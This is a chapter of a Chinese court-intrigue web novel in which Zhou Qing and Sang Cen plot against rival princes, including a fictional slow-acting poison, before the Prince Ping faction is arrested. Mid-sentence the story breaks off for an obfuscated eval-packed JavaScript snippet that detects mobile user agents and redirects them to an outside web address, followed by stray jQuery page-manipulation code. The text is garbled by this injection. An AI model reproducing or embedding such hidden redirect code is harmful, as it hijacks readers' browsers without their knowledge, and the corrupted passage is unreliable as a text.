84. 纠葛

作品:《夫郎,请留步(女尊)

    宫侍所说之处,是一个单独的院落,如同半月一般的池塘将院子围拢,只前头一个出口。


    周青依照宫侍之言,走去了那处角门,推门进去,沿着墙,走到第三扇窗,抬手轻叩。


    窗扇没一会儿就被推开,一个生的极为好看的君郎出现在了窗前。


    周青看着他的眼睛,微晃了下神,“是你?”


    桑岑打量周青的装扮,抬起眼,“你见过我。”


    周青没来由的笑了一声,双手揖在腹前,“青州城,见死不救神医落脚之处,曾无意间撞见过桑君郎,那会儿桑君郎还在医治眼疾,神医妙手,令桑君郎已经能看见些光亮,窥到所视之物的些许轮廓,只是桑君郎坐在树荫下,似乎为什么事感到很失落,如今想来,桑君郎应当在盼着一个人。”


    桑岑眸光微动,微微蜷紧指尖。


    “你认识我妻主?”


    周青颔首,看了下周遭,轻笑着迈近窗子,“桑君郎,是个有福气的,上官大小姐为了你,眼下不知有多头疼呢。”


    周青直视着桑岑的眼睛,扬唇,“说实在的,我有些嫉妒你,不过我对桑君郎没有敌意,因为你是上官大小姐在意的人,所以,我会帮助她,让你平安离开平王府。”


    桑岑眼中审视,“我如何信你?”


    周青并不隐瞒,直言,“我如今是太女侧君,又是平王自以为可以信任的细作,但是我背后还与十六皇女……哦,不对,眼下十六皇女已经是雍王了,我能进太女府,有雍王的推手,能被调去太女议事厅侍茶洒扫,有平王的助力,当然,我的恩人始终只有一个,毕竟没有上官大小姐给我新的身份,抹去我的过往,我是根本不可能进的了宫的。”


    桑岑眸底划过一丝波澜,“妻主……她到了京城?”


    周青点了下头,含笑,“我大抵知道你为什么被平王盯上,当务之急,是先将你救出平王府,而后不遗余力的扳倒平王与太女。”


    周青说到后面时,眼睛里浮现一抹恨意,虽然转瞬即逝,但是桑岑敏锐的感知到了这点,看着周青,仿佛看到想要复仇时的自己。


    “你说,你只有妻主一个恩人。”


    桑岑问出声,即便或许有相似的境遇,但不喜旁人与妻主有纠葛,已经成了一种本能,桑岑对周青的这一点强调,起了些抵触。


    他眸子微弯,轻轻笑起来,“那么,你可以帮我与妻主一个忙吗?这样,足以可以让你与妻主两不相欠,你就再也不用挂心怎么报恩了。”


    周青没想到桑岑当下这种关头,还会有这一番话,不禁神色认真的凝视,片刻后扬了下眉。


    “桑君郎不像是说笑,敢问是什么忙?我想不到除了救桑君郎这件事,上官大小姐还会有我插的上手的事?”


    桑岑弯着的眸,笑意加深,“妻主为人算计,中了毒,我不会放过下毒之人,我相信妻主亦是如此,而这下毒之人,不是旁人,正是而今的雍王,我几日来想了许久,终于想明白她的用意,她想要妻主辅佐她,做她手里举向世家的刀,所以费尽心思,让妻主中蚀情,为的就是想让妻主没有牵绊,可我不想让她如意,更不想意图算计拆散我与妻主之人,最后高坐御座,拥有更大的权利,来随心所欲的掌控我与妻主的将来。”


    周青不由怔了下,“雍王?你竟然想对雍王下手?”


    “是”,桑岑目光不闪不避,对视着周青的眼睛,“不过你若是不想帮忙,我可以自己来,但你需得忘了今日之事,当做未曾听过我的这番话。”


    周青微垂眼帘,目露沉思,而后微微摇头,抬起眼,“能够扳倒平王与太女的,朝野之中,唯有雍王,我不能答应,也不可能放任。”


    桑岑不以为意,微微倾身,“我们有同样的目的,我们可以等平王与太女落败,趁雍王距离帝王权柄一步之遥,有所松懈之时,再出手。”


    周青微拧眉心,似在考虑如此行事,是否有隐患。


    桑岑笑起来,“无生花,不知侧君可有听过?”


    周青还未作反应。


    桑岑便道,“此花磨成粉,无论是嗅进鼻中,还是吃进嘴里,都可以让人日渐衰弱,且药石无医,像是重病而亡。”


    周青惊讶的微微睁大眼,“可拖几日?”


    桑岑弯眸,“苟延残喘至多三年。”


    周青即刻便问,“此花何处可寻?”


    桑岑目光轻凝,像是猜到周青用意,微笑,“我只剩一株,你若想寻,得去番邦,但未必能得,侧君,你可不能将我手里这株挪作它用,毕竟,一株花可用不到两人身上。”


    周青眉梢轻压,有些失望的叹息,“罢了,能扳倒平王,太女,已是常人不可为之事,我能做到,我的家人也能含笑九泉了,不敢奢望旁的。”


    “至于雍王”,周青丝毫没了反对的意思,点头道,“上官大小姐安葬我的家人,又帮我入宫,大恩无以为报,雍王既对她下毒,我自然要帮恩人还回去,桑君郎,且告诉我,你手里的无生花藏在何处,我会取来,见机行事。”


    桑岑观着周青神色,不见一丝作假,抬手,“你附耳过来。”


    周青靠近。


    桑岑在他耳边言语几句,直起身。


    “此物原是神威山庄少庄主三年前寄存于京城,我一直留意她还要用于何人身上,才察觉了藏物之处,如今她已死,你去取来,不会有人追查。”


    周青颔首,“我知道了,事不宜迟,桑君郎收拾收拾,穿上这身宫侍衣裳,随我离开平王府。”


    周青变戏法似的,一身繁琐华服中,华贵的宽大袖摆里竟取出了一套宫侍衣裳,递上。


    桑岑正要接过,屋外动静突然大起来。


    周青蹙起眉心。


    桑岑收回手,“看来今日并非离开的时机,侧君且回吧,只怕这些人找的人不是旁人,正是侧君。”


    周青听着隐隐约约的叫唤,依旧将宫侍服递出。


    “桑君郎还是留着这身衣裳,或许危机之时会派上用场。”


    说着,周青又拿出一盒药粉,“这是易容之用,涂抹于脸,眉眼会变得平庸许多,可以暂时遮掩容貌,不引来旁人注意。”


    桑岑接过,“外头来势汹汹,只怕来者不善,侧君还是快回到太女身侧,方能平安。”


    “我知晓”,周青应道,转身离去。


    桑岑看着周青背影消失,关上窗子,将东西收进了角落的落地花瓶里。


    然而,周青即便加快步子往席宴上赶,平王君的人手还是找到了他,将他拦在了半道。


    影壁前,宫侍笑着,请周青去水榭坐坐。


    围拢上来的仆妇与其他宫侍俱都微躬身,半步不退。


    周青知道身在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929893|169785||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    平王府,又是平王君有请,必然有平王授意,他没有借口脱身,只能由宫侍引路,去了水榭。


    平王君坐在上首,看着周青向他行礼,也不吩咐赐座,而是笑着讲明特地请他来水榭的用意,让宫侍将红瓷药瓶端了上来。


    “周侧君,本宫今日不是商量,而是命令,你若对殿下忠心,服下药,每月皆有解药送上,自然无事,如若不然……”


    平王君言下之意,不言而喻。


    周青笑了一声,身后两名宫侍就上前压住了他的肩。


    平王君显然还要处理席宴上的许多事,今日并没有多少耐心,挥了下手。


    端着红瓷药瓶的宫侍上前,又有一名宫侍从他身后出来,强行掐住周青下巴,让另一名宫侍灌药。


    周青没有挣扎,反而笑容放大,看着高高在上的平王君,眼中露出嘲讽。


    平王君眼神一凛,拍了下案,身后的宫侍出列,上去就在周青臂弯内侧刺出两三针。


    周青闷哼一声,疼的跪在地上。


    平王君觑着他白了的脸色,挥手,“将药给他灌下去。”


    “是”,原本退开的宫侍又上来,药瓶抵上周青的嘴,就要往里倒。


    这时,惊叫声忽然此起彼伏,连水榭都听见了动静。


    平王君一下站起,还没来得及吩咐宫侍去看看发生了何事,管事披头散发的撞门进来,扑在地上,整个背都是血,吓的水榭内的宫侍都低呼一声,连连后退了好几步。


    平王君眼皮颤着,强行镇定,“外头发生何事?怎的如此没有规矩!”


    管事吐出几口血,撑着身体,微微扬起上半身,抬头悲嚎,“王君,王君,陛下不好了,太医院院首俯首认罪,说是殿下指使,太女主谋,如今,如今罪证确凿,雍王命御林军包围了平王府,扬称愿告发平王,太女罪行者,可将功赎罪,另行从轻论处,否则席宴上所有人都要一并下狱,由刑部,大理寺一同刑讯审理,不拘手段!殿下原还想要据理力争,进宫面圣,结果,结果御林军首领竟然眼睛也不眨的砍了殿下一刀,,眼下,眼下席宴乱成一团,大半都已倒戈,殿下和太女已经被押进宫去了……王君!”


    周青哈哈哈哈大笑起来,状如疯癫。


    平王君面色难看极了,手指着周青,气到牙关颤抖,“灌,给本宫灌!”


    宫侍抖着手,依命再次押住周青,拿着红瓷药瓶的宫侍几次擦着周青的嘴过去,好不容易瓶口塞进嘴里。


    御林军闯了进来。


    宫侍一时如同鸟兽四散,然而俱都被御林军拿下。


    周青得救,被押送入宫。


    平王君借着水榭不起眼的小门逃出,在郁家卫队的护送下,遮掩身份,进了朝凤殿,径直跪下。


    “君父!”


    翟凤君已经闻听风声,冷着声,呵斥,“告诉本宫,究竟是怎么回事!琢媗好端端的怎么会呈延寿丸丹方给陛下!她哪来的方子!”


    平王君泣声,抓着翟凤君衣裳下摆,悔不当初,“是桑岑!殿下与儿臣都中了雍王奸计,信了桑岑手里有延寿丸丹方!这都是雍王一手捏造,精心为殿下设下的陷阱啊……”


    翟凤君眼神凝住,“你说什么?桑岑!”


    “是……”


    平王君颤声。


    翟凤君十指握紧,阴着脸,咬牙,“来人!”